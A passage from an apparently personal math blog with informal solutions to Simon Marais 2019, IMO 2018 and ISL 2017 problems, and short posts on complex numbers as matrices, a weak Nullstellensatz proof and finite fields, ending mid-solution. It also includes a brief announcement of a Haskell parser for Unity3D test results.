Simon Marais Mathematics Competition 2019

This year’s contest had some interesting problems. I’ll present some example solutions to the less technically challenging of the lot.

Problem A1: Let s_1 = 2. Define a recursive sequence by letting s_{n + 1} be the sum of s_n and the product of its distinct prime factors. So the sequence goes 2, 4, 6, 12, 18, 24, \dots. Prove that the product of the first 2019 primes is in this sequence.

Solution A1: Let the primes be p_1, p_2, \dots. We claim that for every n, \displaystyle{\prod_{i = 1}^n p_i} is in the sequence. Clearly p_1 = 2 is in this sequence. Now suppose N = p_1 \cdots p_j is in this sequence. The sequence then continues, N, 2N, 3N, \dots. Eventually, we will reach a p_{j + 1} N because the only distinct prime factors of N, 2N, \dots, (p_{j + 1} - 1)N are p_1, \dots, p_j. Therefore p_1 \cdots  p_{j + 1} is a term of the sequence.

Problem A2: Consider the operation * that is defined by a * b = a \times (b + 1). Let a_1, \dots, a_n and b_1, \dots, b_n be permutations of 1, \dots, n. Find all such permutations that maximize

    \[ ( \cdots ( (a_1 * a_2) * a_3 ) * \cdots * a_n) \]

and

    \[ b_1 * (b_2 * (b_3 * \cdots * (b_{n - 1} * b_n) \cdots )). \]

Solution A2: For the a_i, we expand. This is a_1 (a_2 + 1) (a_3 + 1) \cdots (a_n + 1) = \dfrac{a_1}{a_1 + 1} \cdot (a_1 + 1) \cdots (a_n + 1). \displaystyle{\prod (a_i + 1)} is constant so we maximize the fraction by picking a_1 = n. For the b_i, we expand as well. The expression expands to

    \[ \sum_{i = 1}^n \prod_{j = 1}^i b_j. \]

Since b_1 is a factor in every term, we must maximize b_1 to maximize the expression. Thus b_1 = n. Now b_2 occurs in all the remaining terms, etc. Thus b_1, \dots, b_n = n, \dots, 1.

Problem B1: Find a, b such that

    \[ \int_a^b e^{\cos (x)}(380 - x - x^2) dx \]

is maximized.

Solution B1: e^x > 0 for all real x. Notice 380 - x - x^2 is non-negative on a bounded interval. Thus the integral achieves its maximum on this interval. 380 - x - x^2 = -(x + 20)(x - 19) so (a, b) = (-20, 19).

Problem B2: Prove that the number

    \[ 1! + 2! + 3! + \cdots + p! - \left\lfloor \frac{(p-1)!}{e} \right\rfloor \]

is divisible by p for all primes p.

Solution B2: This solution is a bit more involved unfortunately.

We begin by making the computation

    \[ \begin{aligned} \sum_{k = 1}^{p - 1} k! &\equiv \dfrac{(p - 1)!}{1} + \dfrac{(p - 1)!}{p - 1} + \dfrac{(p - 1)!}{(p - 1)(p - 2)} + \cdots + \dfrac{(p - 1)!}{(p - 1) \cdots (2)} &\pmod{p} \\ &\equiv \dfrac{-1}{1} + \dfrac{-1}{-1} + \dfrac{-1}{(-1)(-2)} + \cdots + \dfrac{-1}{(-1) \cdots (2 - p)} &\pmod{p} \\ &\equiv -\sum_{k = 0}^{p - 2} \dfrac{(-1)^k}{k!}. &\pmod{p} \\ \end{aligned} \]

We then take a slight detour into Maclaurin series. The closest fraction of the form \dfrac{q_k}{k!} to \dfrac{1}{e} = e^{-1} is exactly of the form \displaystyle{\sum_{j = 0}^k \dfrac{(-1)^j}{j!}}. This is motivated by expanding \displaystyle{e^x = \sum_{i = 0}^{\infty} \frac{x^i}{i!}}. By analyzing the error, we determine that it is indeed at most \dfrac{1}{(k + 1)!}, meaning that a different choice of q_k yields a larger error.

Now let k be an odd number. We can easily see that

    \[ \displaystyle{\frac{k!}{e} = q_k + \sum_{j = k + 1}^{\infty} \frac{k! (-1)^j}{j!}}, \]

where \displaystyle{\left|\sum_{j = k + 1}^{\infty} \frac{k! (-1)^j}{j!}\right| < 1}. Therefore \displaystyle{q_k = \left\lfloor \frac{k!}{e} \right\rfloor}, because then the error term is > 0. We can also see that

    \[ \displaystyle{\frac{(k + 1)!}{e} = (k + 1)q_k + \sum_{j = k + 1}^{\infty} \frac{(k + 1)! (-1)^j}{j!} = (k + 1)q_k + (-1)^{k + 1} + \sum_{j = k + 2}^{\infty} \frac{(k + 1)! (-1)^j}{j!}}, \]

where \displaystyle{\left|\sum_{j = k + 2}^{\infty} \frac{(k + 1)! (-1)^j}{j!}\right| < 1}. We then see that \displaystyle{(k + 1)q_k = \left\lfloor \frac{(k + 1)!}{e} \right\rfloor}. Let us substitute k = p - 2. We obtain,

    \[ \left \lfloor \frac{(p - 1)!}{e} \right \rfloor \equiv (p - 1) q_{p - 2} \equiv -q_{p - 2} \equiv -\left \lfloor \frac{(p - 2)!}{e} \right \rfloor \pmod{p}. \]

We can then compute

    \[ -(p - 2)! \sum_{k = 0}^{p - 2} \dfrac{(-1)^k}{k!} \equiv -q \equiv -\left\lfloor \frac{(p - 2)!}{e} \right\rfloor \equiv \left\lfloor \frac{(p - 1)!}{e} \right\rfloor \pmod{p}, \]

and with a bit more magic we get

    \[ \begin{aligned} -(p - 1)! \sum_{k = 0}^{p - 2} \dfrac{(-1)^k}{k!} &\equiv (p - 1)\left\lfloor \frac{(p - 1)!}{e} \right\rfloor &\pmod{p} \\ -(-1) \sum_{k = 0}^{p - 2} \dfrac{(-1)^k}{k!} &\equiv -\left\lfloor \frac{(p - 1)!}{e} \right\rfloor &\pmod{p} \\ -\sum_{k = 0}^{p - 2} \dfrac{(-1)^k}{k!} &\equiv \left\lfloor \frac{(p - 1)!}{e} \right\rfloor &\pmod{p} \\ \sum_{k = 1}^{p - 1} k! &\equiv \left\lfloor \frac{(p - 1)!}{e} \right\rfloor, &\pmod{p} \\ \end{aligned} \]

as desired.

Problem B3: Let G be a finite simple graph and let k be the largest number of vertices of any clique in G. Suppose that we label each vertex of G with a non-negative real number, so that the sum of all such labels is 1. Define the value of an edge to be the product of the labels of the two vertices at its ends. Define the value of a labeling to be the sum of values of the edges.

Prove that the maximum possible value of a labeling of G is \dfrac{k - 1}{2k}.

Solution B3: We first solve it for complete graphs of size n = k. Clearly the claimed maximum value is achieved by letting each vertex have value \dfrac{1}{n}. Each edge has value \dfrac{1}{n^2} and there are \dbinom{n}{2} = \dfrac{n(n - 1)}{2} of them. Therefore the labeling of this graph has value \dfrac{n(n - 1)}{2n^2} = \dfrac{n - 1}{2n}. We now prove that this is a maximum. Let v_1, \dots, v_n be the values. The value V is computed as

    \[ V = \sum_{i < j} v_i v_j \]

Suppose v_i \neq v_j for some i, j. Assume WLOG that they are v_1, v_2. We replace v_1 and v_2 with v' = \dfrac{1}{2}(v_1 + v_2). Compute

    \[ \begin{aligned} \sum_{i < j} v_i v_j &= v_1 v_2 + \sum_{i > 3} (v_1 v_i + v_2 v_i) + \sum_{3 \leq i < j} v_i v_j \\ &= v_1 v_2 + \sum_{i > 3} (v' v_i + v' v_i) + \sum_{3 \leq i < j} v_i v_j \end{aligned} \]

Since v'^2 > v_1 v_2, this new labeling achieves a greater value. Since any labeling where two values differ is not maximal, our labeling v_1 = \cdots = v_n = \dfrac{1}{n} must be maximal.

To prove the more general case, we first note that \dfrac{k - 1}{2k} increases as k increases so if we can force all the vertices not on the maximal clique to be zero, we win. Consider any two vertices not connected by an edge, say v_1 and v_2. The value of the labeling is then linear in v_1 and v_2, as the value is computed as v_1 x + v_2 y + z, where x is the sum of the vertices connected to v_1, y is the sum of the vertices connected to v_2, and z is the value of the graph with v_1, v_2 removed. This is achieves its maximum at either v_1 = 0 or v_2 = 0 depending on the values of x, y. We repeat this process, until every pair of non-connected vertices has one labelled with value 0. We can then remove them from our graph. as they contribute nothing to our labeling. Our graph is now complete, which we know how to maximize. Different choices of zero assignments lead to different resulting complete graphs, but there is always a set of zero assignments that removes all vertices not belonging to the maximal clique.

Bonus Problem (2019 AIME I-14): Find the smallest odd factor of 2019^8 + 1.

Bonus Solution: This odd factor must be prime. Notice 2019^8 \equiv -1 \pmod{p}, or 2019^{16} \equiv 1 \pmod{p}. Therefore 16 \mid p - 1 because we understand order. The smallest such primes are 17, 97, \dots. Checking 2019^8 + 1 \pmod{97}, we get 0, which is not the case for 17, so the answer is \boxed{097}.

Posted in Math | Leave a comment

Complex Numbers are Very Real

A brief while ago I had a discussion with some people who claimed that complex numbers may be very hard to wrap your head around. This is arguably quite true, as intuition can be different for everyone. In this post, I give an alternate representation (!) of complex numbers that only uses the reals. Before we begin though, let us recall some basic properties of 2 \times 2 real matrices.

A 2 \times 2 matrix is an entry of 4 numbers a, b, c, d, written as \begin{pmatrix} a & b \\ c & d \\ \end{pmatrix}. We can add and subtract them component-wise, multiply them with \begin{pmatrix} a & b \\ c & d  \\ \end{pmatrix} \cdot \begin{pmatrix} a' & b' \\ c' & d' \\ \end{pmatrix} = \begin{pmatrix} aa' + bc' & ab' + bd' \\ ca' + dc' & cb' + dd' \\ \end{pmatrix}, and compute inverses (read: divide) when the quantity called the determinant, ad - bc, is non-zero. There are plenty of resources to learn about matrices, so use those to familiarize yourself before moving on to the next section.

In order to represent the complex numbers as matrices, we must first obtain a representation of the reals. This is quite easy. We can have the mapping x \mapsto \begin{pmatrix} x & 0 \\ 0 & x \\ \end{pmatrix}. This mapping makes x + y, x - y, x * y, x / y behave as one would expect. Now comes the hard part. How do we come up with a matrix i such that i^2 = \begin{pmatrix} -1 & 0 \\ 0 & -1 \\ \end{pmatrix}? To start off, we can write i = \begin{pmatrix} a & b \\ c & d \\ \end{pmatrix} and solve the equations but I will just give you the answer to verify for now. One representation is i = \begin{pmatrix} 0 & -1 \\ 1 & 0 \\ \end{pmatrix}. And now that we can represent reals and the imaginary unit, it becomes quite easy to express any arbitrary complex number. a + bi = \begin{pmatrix} a & -b \\ b & a \\ \end{pmatrix}. To get division, recall that the determinant must not be zero, or a^2 + b^2 \neq 0. This is precisely the condition that the complex number is non-zero! Sweet, right?

To obtain the second representation of i, recall that (-i)^2 is also equal to -1. The rest is left as an exercise to the reader.

Posted in Math | Leave a comment

Cheap Nullstellensatz

I was recently asked to prove a non-exhaustive set of cases for the weak Nullstellensatz, and the proof was so deceptively simple I decided to share it. The main theorem goes along the lines of this.

Nullstellensatz: Let K be an algebraically closed field and \mathfrak{m} an ideal of K[X_1, \dots, X_n]. Then \mathfrak{m} is maximal if and only if \mathfrak{m} = \langle X_1 - \alpha_1, \cdots, X_n - \alpha_n \rangle.

It is not hard to see that \mathfrak{m} = \langle X_1 - \alpha_1, \cdots, X_n - \alpha_n \rangle is a maximal ideal. We can compute an isomorphism \varphi : K[X_1, \dots, X_n] / \mathfrak{m} \to K by looking at the surjective ring map X_i \mapsto \alpha_i. It remains to show that all maximal ideals are of this form. We will prove a subset of cases for K as follows.

Cheap Nullstellensatz: Let K be an algebraically closed field of uncountable cardinality and \mathfrak{m} an ideal of K[X_1, \dots, X_n]. If \mathfrak{m} is maximal then \mathfrak{m} = \langle X_1 - \alpha_1, \cdots, X_n - \alpha_n \rangle.

Proof: We do it in a few parts.

  1. Every field extension F / K has an embedding K(x) \hookrightarrow F, where K(x) is the set of rational polynomials of K.

    If F is a non-trivial extension of K (i.e. F \neq K), then F must have a transcendental element \alpha, and P(\alpha) \neq 0 for all non-zero P \in K[X]. Thus, we can define the map f \mapsto f(\alpha) and we claim this is an embedding of K(x) into F. It is clearly well-defined because if f = \frac{p}{q}, then \frac{p(\alpha)}{q(\alpha)} does not divide by zero. It is also easy to check that this is a ring map and because f(\alpha) = 0 \iff f = 0, we can see that it is injective because its kernel is \lbrace 0 \rbrace.

  2. K(x) is a K-vector space and has uncountable dimension. It is not too hard to see that K(x) is a vector space, and to show that its dimension is uncountable, we show that the set of functions of the form \dfrac{1}{x - \beta}, where \beta \in K, is a linearly independent set. Thus, we wish to find coefficients a_i such that

        \[ \sum_{i = 1}^n \frac{a_i}{x - \beta_i} = 0. \]

    We clear denominators and call the resulting function \Phi, or

        \[ \Phi = \sum_{i = 1}^n \left( a_i \prod_{j \neq i} (x - \beta_j) \right) = 0. \]

    Now consider the ring homomorphisms \varphi_i sending x to \beta_i and for all i, compute

        \[ \varphi_i(\Phi) = a_i \prod_{j \neq i} (\beta_i - \beta_j) \right) = \varphi_i(0) = 0. \]

    The product is a product of non-zero elements and thus invertible, so we can calculate a_i = 0 for all i, and thus the set is linearly independent of uncountable cardinality, so K(x) has uncountable dimension over K.

  3. Let R be a finitely generated K-algebra. Then R has countable dimension over K as a vector space. To see this, let x_1, \dots, x_n be the generators of R. We can write r \in R as

        \[ r = P_r(x_1, \dots, x_n) \]

    for some P_r \in K[X_1, \dots, X_n] so R is some sub-algebra of the free algebra K \langle X_1, \dots, X_n \rangle. The free algebra has countable basis \lbrace X_1^{e_1} \cdots X_n^{e_n} \rbrace so R must also have countable basis.

We now have all the building blocks to finish the proof. We notice that K[X_1, \dots, X_n] is a finitely generated K-algebra, and its quotient field K' = K[X_1, \dots, X_n] / \mathfrak{m} must also be a finitely generated field extension. If K' is a transcendental extension, then it has uncountable dimension over K because it contains K(x) as a subfield, but this dimension is also countable because K' is finitely generated. Thus K' cannot be transcendental so it must be an algebraic extension, but K is algebraically closed so K' = K.

Posted in Math | Leave a comment

ISL 2017 A1

Problem A1: Let a_1, a_2, \dots, a_n, k and M be positive integers such that

    \[ \frac{1}{a_1} + \frac{1}{a_2} + \cdots + \frac{1}{a_n} = k \qquad \textrm{and} \qquad a_1 a_2 \cdots a_n = M. \]

If M > 1, prove that the polynomial

    \[ P(x) = M(x + 1)^k - (x + a_1)(x + a_2) \cdots (x + a_n) \]

has no positive roots.

Solution A1: We appeal to a similar strategy that is used in IMO 2012-2. Write

    \[ x + a_i = (x + 1) + 1 + \cdots + 1 \geq a_i (x + 1)^{\frac{1}{a_i}}. \]

In particular, for x \geq -1, this implies

    \[ (x + a_1) \cdots (x + a_n) \geq M (x + 1)^k, \]

so x \geq -1 \implies P(x) \leq 0 with equality only at x = 0. Thus x > 0 \implies P(x) < 0, which is equivalent to P(x) has no positive roots.

Posted in Math | Leave a comment

IMO 2018 Day 2

Day 2 had a bunch of really nice problems with more advanced techniques required to solve them. Problem 6 is also hard and I will be writing it up at a later time.

Problem 4: A site is any point (x, y) in the plane such that x and y are both positive integers less than or equal to 20.

Initially, each of the 400 sites is unoccupied. Amy and Ben take turns placing stones with Amy going first. On her turn, Amy places a new red stone on an unoccupied site such that the distance between any two sites occupied by red stones is not equal to \sqrt{5}. On his turn, Ben places a new blue stone on any unoccupied site. (A site occupied by a blue stone is allowed to be at any distance fromany other occupied site.) They stop as soon as a player cannot place a stone.

Find the greatest K such that Amy can ensure that she places at least K red stones, no matter how Ben places his blue stones.

Solution 4: The given condition is equivalent to placing knights on a chessboard, with one party blocking a space every other turn. It is well known that on a 2n \times 2n chessboard, you can place 2n^2 knights by placing n knights in the n black squares in the 2n rows, and this is easily discoverable by playing around with placements a for a bit. Thus, if Ben blocks a placement every other turn, we can only place pieces on half of the squares described above, so for the case in a 20 \times 20 board, we conjecture that K = 100.

It remains to show that K > 100 is indeed impossible. To do this, we show that K \leq 100, or that Ben can play in a way such that Amy can only place at most 100 stones. To do this, we study the 4 \times 4 grid (tiled 25 times) as 4 distinct 4-cycles as follows:

p4 grid

If Amy places a stone in X, Ben will place his stone in the opposite corner of X. This ensures that Amy can no longer place any more stones in X. Since there are 4 regions per grid, Amy can only place 4 stones per grid. Thus, Amy can place at maximum of 100 stones if Bob plays in this manner and we are done.

Problem 5: Let a_1, a_2, \dots be an infinite sequence of positive integers. Suppose that there is an integer N > 1 such that for each n \geq N, the number

    \[ \frac{a_1}{a_2} + \frac{a_2}{a_3} + \cdots + \frac{a_{n - 1}}{a_n} + \frac{a_n}{a_1} \]

is an integer. Prove that there is a positive integer M such that a_m = a_{m + 1} for all m \geq M.

Solution 5: The key to this problem is to use a size argument on p-adic valuations to guarantee convergence of the a_i. We consider two consecutive sums, whose difference

    \[ \frac{a_n}{a_{n + 1}} + \frac{a_{n + 1}}{a_1} - \frac{a_n}{a_1} \]

must be an integer because the two sums are integers. Let \nu_p \left( \dfrac{a}{b} \right) = e_a - e_b where e_x are defined as p^{e_x} \mid x but p^{e_x + 1} \nmid x. This is the standard p-adic valuation. Note that because this difference is an integer, its p-adic valuation must be non-negative. This is a fact that will used repeatedly.

Now for all primes p, consider

  • p \nmid a_1. Then \nu_p(a_n}) \geq \nu_p(a_{n + 1}) for all n > N. Else the difference cannot be integral, which can be seen from the inequality \nu_p \left( \dfrac{a_n}{a_{n + 1}} + \dfrac{a_{n + 1}}{a_1} - \dfrac{a_n}{a_1} \right) \leq \min \left( \nu_p(a_n) - \nu_p(a_{n + 1}), \nu_p \left( \dfrac{a_{n + 1}}{a_1} - \dfrac{a_n}{a_1} \right) \right). We have equality when the two things inside the \min are unequal, and the second element is most definitely non-negative whereas if the first element is negative then they are clearly not equal.
  • p \mid a_1. In this case we claim \nu_p(a_n) eventually becomes constant. There are a few cases to consider here.

    • Suppose \nu_p(a_k) \geq \nu_p(a_1) > 0 for some k > N. We claim that \nu_p(a_1) \leq \nu_p(a_{n + 1}) \leq \nu_p(a_n) for all n \geq k, or that \nu_p(a_n) is eventually non-increasing and bounded below by \nu_p(a_1) so it must eventually be constant.

      For this case, we have \nu_p \left( \dfrac{a_n}{a_1} \right) \geq 0, meaning that the remaining terms in the difference must also satisfy

          \[ \nu_p \left( \frac{a_n}{a_{n + 1}} + \frac{a_{n + 1}}{a_1} \right) \geq 0. \]

      The trick here is to figure out where \nu_p(a_{n + 1}) goes. If \nu_p(a_{n + 1}) < \nu_p(a_1) \leq \nu_p (a_n), then \nu_p \left( \dfrac{a_{n + 1}}{a_1} \right) < 0 which is bad because \nu_p \left( \dfrac{a_n}{a_{n + 1}} \right) \geq 0. Else if \nu_p(a_{1}) \leq \nu_p(a_n) < \nu_p(a_{n + 1}), then \nu_p \left( \dfrac{a_n}{a_{n + 1}} \right) < 0 which is also bad because \nu_p \left( \dfrac{a_{n + 1}}{a_1} \right) \geq 0. We start at the base case n = k and inductively go onwards to show this for all n \geq k.

    • Suppose the opposite and that \nu_p(a_k) < \nu_p(a_1) for all k > N. Then for any n > N, we have

          \[ \nu_p \left( \frac{a_{n + 1}}{a_1} \right) < 0 \]

      and

          \[ \nu_p \left( \frac{a_n}{a_1} \right) < 0. \]

      We also wish to rank \nu_p(a_{n + 1}) somewhere between \nu_p(a_1) and \nu_p(a_n) to get eventual constant-ness. We claim that

          \[ \nu_p(a_n) \leq \nu_p(a_{n + 1}) < \nu_p(a_1). \]

      Clearly \nu_p(a_{n + 1}) \geq \nu_p(a_1) is impossible by assumption, so we wish to invalidate the case \nu_p(a_{n + 1}) < \nu_p(a_n). In this case, we have \nu_p \left( \dfrac{a_n}{a_{n + 1}} \right) > 0 so in order for the \nu_p of the difference to be non-negative, the \nu_p of the other two terms must agree, or

          \[ \nu_p \left( \frac{a_n}{a_1} \right) = \nu_p \left( \frac{a_{n + 1}}{a_1} \right) \implies \nu_p(a_n) = \nu_p(a_{n + 1}), \]

      a contradiction. Thus by induction (again) we have shown that \nu_p(a_n) is eventually constant.

    • Combining both these claims yields the desired result. For each of the finitely many primes dividing a_1, \nu_p(a_n) eventually becomes constant. That COMBINED WITH the fact \nu_p(a_{n + 1}) \leq \nu_p(a_n) for all p \nmid a_1 implies a_{n + 1} \mid a_n for all n eventually and because of this, must be constant.

      A caveat as noted by v_Enhance, we need the non-increasing condition in the first claim because otherwise setting b_n = p_n a_n where a_n is a good sequence and p_n is the n-th prime causes a contradiction!

Posted in Math | Leave a comment

IMO 2018 Day 1

I have solved problems 1 and 2. I have not yet attempted problem 3 but I believe that it is beyond me, especially within a time frame of four and a half hours.

Problem 1: Let \Gamma be the circumcircle of acute-angled triangle ABC. Points D and E lie on segments AB and AC, respectively, such that AD = AE. The perpendicular bisectors of BD and CE intersect at the minor arcs AB and AC of \Gamma at points F and G, respectively. Prove that the lines DE and FG are parallel (or are the same line).

Solution 1: This was more of an exercise in angle chasing than an actual problem and felt really out of place, even for a problem 1.

Extend FD and GE to X and Y on \Gamma, respectively. The goal is to show that DEXY are concyclic. Then, by using transversal FX, we have

    \[ \angle XFG = \angle XYG = \angle XYE = \angle XDE, \]

which solves the problem. We do this with more angle chasing. Compute

    \[ \angle YAD = \angle YAB = \angle YGB = \angle EGB = \angle EGC - \angle BGC = \angle EGC - \angle BAC = \angle EGC - \angle DAE. \]

Also compute

    \[ \angle YED = \angle DEA - \angle AEY = \angle DEA - \angle CEG = \frac{1}{2} (180 - \angle DAE) - \frac{1}{2} (180 - \angle EGC) = \frac{\angle EGC - \angle DAE}{2}. \]

This gives us the relation \angle YED = \dfrac{1}{2} \angle YAD and similarly \angle XDE = \dfrac{1}{2} \angle XAE. This is sufficient to show that X, Y lie on the circle centered at A passing through points D, E so DEXY is cyclic and we are done.

p1 diagram

Problem 2: Find all integers n \geq 3 for which there exist real numbers a_1, a_2, \dots, a_{n + 2}, such that a_{n + 1} = a_1 and a_{n + 2} = a_2 and

    \[ a_i a_{i + 1} + 1 = a_{i + 2} \]

for i = 1, 2, \dots, n.

Solution 2: This problem seemed kind of easy for a problem 2, or maybe I’m just getting better at math despite not doing any contest math for several years now.

We start by examining the case n = 3. We have the equations

    \[ \begin{aligned} a_1 a_2 + 1 &= a_3 \\ a_2 a_3 + 1 &= a_1 \\ a_3 a_1 + 1 &= a_2. \\ \end{aligned} \]

We can substitute for a_3 in the third equation to obtain

    \[ \begin{aligned} (a_1 a_2 + 1) a_1 + 1 &= a_2 \\ a_1^2 a_2 - a_2 + a_1 + 1 &= 0 \\ (a_1^2 - 1) a_2 + (a_1 + 1) &= 0 \\ (a_1 + 1)(a_1 - 1) a_2 + (a_1 + 1) &= 0 \\ (a_1 + 1)(a_1 a_2 - a_2 + 1) &= 0, \\ \end{aligned} \]

which implies either \implies a_1 = -1 or a_3 = a_2. Let’s just say for now that a_1 = -1. Then a_2 a_3 = -2 and a_2 + a_3 = 1, so a_2, a_3 are the roots of the polynomial x^2 - x - 2 = (x - 2)(x + 1). We then notice that the sequence will go on as -1, -1, 2, -1, -1, 2, \dots indefinitely, so 3 \mid n is definitely valid.

This begs the question of: are these the only solutions? This suggests looking at the indices modulo 3, and there are only a few ways to obtain some nice looking equalities from the given conditions involving i, i + 1, and i + 2. First, we know from the condition a_i a_{i + 1} + 1 = a_{i + 2} that a_i a_{i + 1} a_{i + 2} + a_{i + 2} = a_{i + 2}^2. If we substitute a_{i + 1} a_{i + 2} = a_{i + 3} - 1, we obtain

    \[ \begin{aligned} a_i a_{i + 1} a_{i + 2} + a_{i + 2} &= a_i (a_{i + 3} - 1) + a_{i + 2} \\ a_i a_{i + 1} a_{i + 2} + a_{i + 2} &= a_i a_{i + 3} - a_i + a_{i + 2} \\ a_i a_{i + 1} a_{i + 2} + a_i &= a_i a_{i + 3}, \\ \end{aligned} \]

which totally suggests that there is something going on between a_i and a_{i + 3}. When you have a general equality and you have no idea what to do with it, taking the sum is usually not a bad choice so we do that here to obtain (we also extend the sequence so that is infinite with cycle of length n):

    \[ \begin{aligned} \sum_{i = 1}^{n} a_i a_{i + 3} &= \sum_{i = 1}^{n} (a_i a_{i + 1} a_{i + 2} + a_i) \\ &= \sum_{i = 1}^{n} a_i a_{i + 1} a_{i + 2} + \sum_{i = 1}^{n} a_i \\ &= \sum_{i = 1}^{n} a_i a_{i + 1} a_{i + 2} + \sum_{i = 1}^{n} a_{i + 2} \\ &= \sum_{i = 1}^{n} (a_i a_{i + 1} a_{i + 2} + a_{i + 2}) \\ &= \sum_{i = 1}^{n} a_{i + 2}^2 = \sum_{i = 1}^{n} a_i^2. \\ \end{aligned} \]

The equality \displaystyle{\sum_{i = 1}^{n} a_i a_{i + 3} = \sum_{i = 1}^{n} a_i^2} really suggests that the sequence should be cyclic with length 3, so let’s try to prove it! Recall the AM-GM equality, where if we have non-negative numbers a, b, then \dfrac{a + b}{2} \geq \sqrt{ab}. We apply it to the LHS to obtain a_i a_{i + 3} \leq |a_i a_{i + 3}| \leq \dfrac{a_i^2 + a_{i + 3}^2}{2}. Taking the sum over the first n terms, we have

    \[ \sum_{i = 1}^{n} a_i a_{i + 3} \leq \frac{1}{2} \sum_{i = 1}^{n} (a_i^2 + a_{i + 3}^2) \leq \sum_{i = 1}^{n} a_i^2. \]

Since the two sides are actually equal by the previous computation, the equality condition of AM-GM must be met, or a_i = a_{i + 3}. Thus the cycle length divides 3, so it must either be three or one. We have seen previously that three works, so we focus our efforts on one. A cycle length of one means that the sequence is constant, or a_i = c and

    \[ c^2 + 1 = c \implies c^2 - c + 1 = 0, \]

but that equation has no real roots.

The answer is then all n \geq 3 such that n \equiv 0 \pmod{3}.

Posted in Math | Leave a comment

I finally released a thing

It’s a small tool to parse Unity3D TestResults files from testing in CI/CD environments, but it’s a tool nevertheless. You can find it at https://hackage.haskell.org/package/unity-testresult-parser.

Posted in Programming, Software | Leave a comment

Revenge of the Finite Fields

A few days ago, I posted some proofs and a construction of finite fields. It turns out there are a lot more nice constructions and proofs and problems related to finite fields, so I’ll be sharing some of them here.

Theorem: Let N_n be the number of monic irreducible polynomials in \ZZ_p[X]. Then

    \[ p^n = \sum_{d \mid n} d N_d. \]

Proof:
Consider the following zeta function.

    \[ \zeta = \sum_{f \in \ZZ_p[X]\,\textrm{monic}} X^{\deg f}. \]

There are only p^n monic polynomials of degree n so

    \[ \zeta = \sum_{n \geq 0} p^n X^n = \frac{1}{1 - pX}. \]

Monic polynomials have a unique factorization into monic polynomial factors, after some computation, we can arrive at

    \[ \zeta = \prod_h \left( 1 + X^{\deg h} + X^{2 \deg h} + \cdots \right) = \prod_h \frac{1}{1 - X^{\deg h}}, \]

where h are the monic irreducible polynomials of \ZZ_p[X]. We can then compute the equality

    \[ \log \frac{1}{1 - pX} = \sum_h \log \frac{1}{1 - X^{\deg h}} = \sum_{n \geq 0} N_n \log \frac{1}{1 - X^n}. \]

Recall that \log \frac{1}{1 - X} = \sum_{k \geq 1} \frac{X^k}{k}. Substituting, we get

    \[ \sum_{k \geq 1} \frac{p^k X^k}{k} = \sum_{n \geq 0} \left( N_n \sum_{j \geq 1} \frac{X^{jn}}{j} \right). \]

Let us examine the coefficient of X^k of the LHS. We compute

    \[ \frac{p^k}{k} = \sum_{jn = k} \frac{1}{j} N_n, \]

or

    \[ p^k = \sum_{n \mid k} n N_n, \]

as desired.

We now construct finite fields in a different way.

Theorem: Any field has an algebraic closure and its closure is unique up to isomorphism.

Proof: This is actually a fun exercise and proofs of this result can be found almost everywhere.

Theorem: Let \overline{\ZZ_p} be the algebraic closure of \ZZ_p. Let \FF_q = \lbrace x \in \overline{\ZZ_p} \mid x^q = x \rbrace, where q is a power of p. Then \FF_q is the unique field with q elements contained in \overline{\ZZ_p}.

Proof: We first verify that \FF_q is a field. Namely, x^q = x, y^q = x \implies (xy)^q = x^q y^q = xy and x^q = x, y^q = x \implies (x + y)^q = x^q + y^q = x + y. \FF_q clearly has q elements because X^q - X splits into q distinct linear factors over \overline{\ZZ_p}[X] and those factors are distinct (compute gcd with derivative).

Now let K be some other subfield of \overline{\ZZ_p} with q elements. K^* is a group with q - 1 elements so we have x^{q - 1} = 1, and we can trivially extend this to x^q = x for x \in K, so K \subseteq \FF_q. But |K| = |\FF_q|, so K = \FF_q.

We can rephrase the above theorem as follows. \FF_{p^n} is the splitting field of the polynomial X^{p^n} - X over \ZZ_p.

Theorem: Let K be an arbitrary finite field with q elements. Let f be an irreducible polynomial of degree n and let \alpha be one of its roots. Then K(\alpha) is a field with q^n elements.

Proof: This is a standard exercise with respect to field extensions.

Anyways, now for some problems.

Problem 1: (IMO Shortlist 1989) Suppose an integer sequence a_{n \geq 1} satisfies

    \[ 2^n = \sum_{d \mid n} a_d \]

for all n \in \NN. Prove that n \mid a_n for all n \in \NN.

Solution: Let us compute the Möbius inversion. We get

    \[ a_n = \sum_{d \mid n} \mu \left( \frac{n}{d} \right) 2^d. \]

Recall that elements of \FF_{2^n} satisfy the polynomial X^{2^n} - X = 0. We count the number of elements of order precisely 2^n - 1. Namely, we need to subtract off elements of orders 2^d - 1 with d \mid n (can you see why?). We can do this with PIE, which is precisely the formula above. So a_n is the number of elements in \FF_{2^n} with order 2^n - 1. Now consider the set of minimal polynomials of these elements. They must have degree n, otherwise they would also belong in \FF_{2^d} for some d \mid n, and each of these polynomials has n distinct roots in \FF_{2^n}, so we are done.

Problem 2: (IMO Shortlist) Let a_0 = 2, a_n = 2a_{n - 1}^2 - 1. If p > 2 and p \mid a_n, show that 2^{n + 3} \mid p^2 - 1.

Solution: We first obtain a formual for a_n. Check that

    \[ \frac{x^2 + x^{-2}}{2} = 2 \cdot \left( \frac{x + x^{-1}}{2} \right)^2 - 1. \]

This means that x_{n + 1} = x_n^2, or x_n = x_0^{2^n}. Set \frac{x + x^{-1}}{2} = 2 to obtain x = 2 \pm \sqrt{3}, so

    \[ a_n = \frac{(2 + \sqrt{3})^{2^n} + (2 - \sqrt{3})^{2^n}}{2}. \]

Let p > 2 be a prime factor of a_n. Pick some \alpha in \overline{\ZZ_p} such that \alpha^2 = 3. Notice

    \[ \alpha^{p^2 - 1} = \left( \alpha^{p + 1} \right)^{p - 1} = \left( 3^{\frac{p + 1}{2}} \right)^{p - 1} = 1, \]

so \alpha^{p^2} = \alpha and \alpha \in \FF_{p^2}. Define a map \phi : \ZZ[\sqrt{3}] \to \FF_{p^2} given by a + b \sqrt{3} \mapsto a + b \alpha. This is a ring homomorphism. Let x = \phi(2 + \sqrt{3}), y = \phi(2 - \sqrt{3}). x, y are non-zero because xy = \phi(1) = 1. Additionally, p \mid a_n \implies x^{2^n} + y^{2^n} = 0. Now compute

    \[ \begin{aligned} x^{2^n} + y^{2^n} &= 0 \\ x^{2^{n + 1}} + y^{2^{n + 1}} &= -2, \\ x^{2^{n + 2}} + 2 + y^{2^{n + 2}} &= 4 \\ x^{2^{n + 2}} - 2 + y^{2^{n + 2}} &= 0 \\ x^{2^{n + 1}} - y^{2^{n + 1}} &= 0, \\ x^{2^{n + 1}} = y^{2^{n + 1}} &= -1. \end{aligned} \]

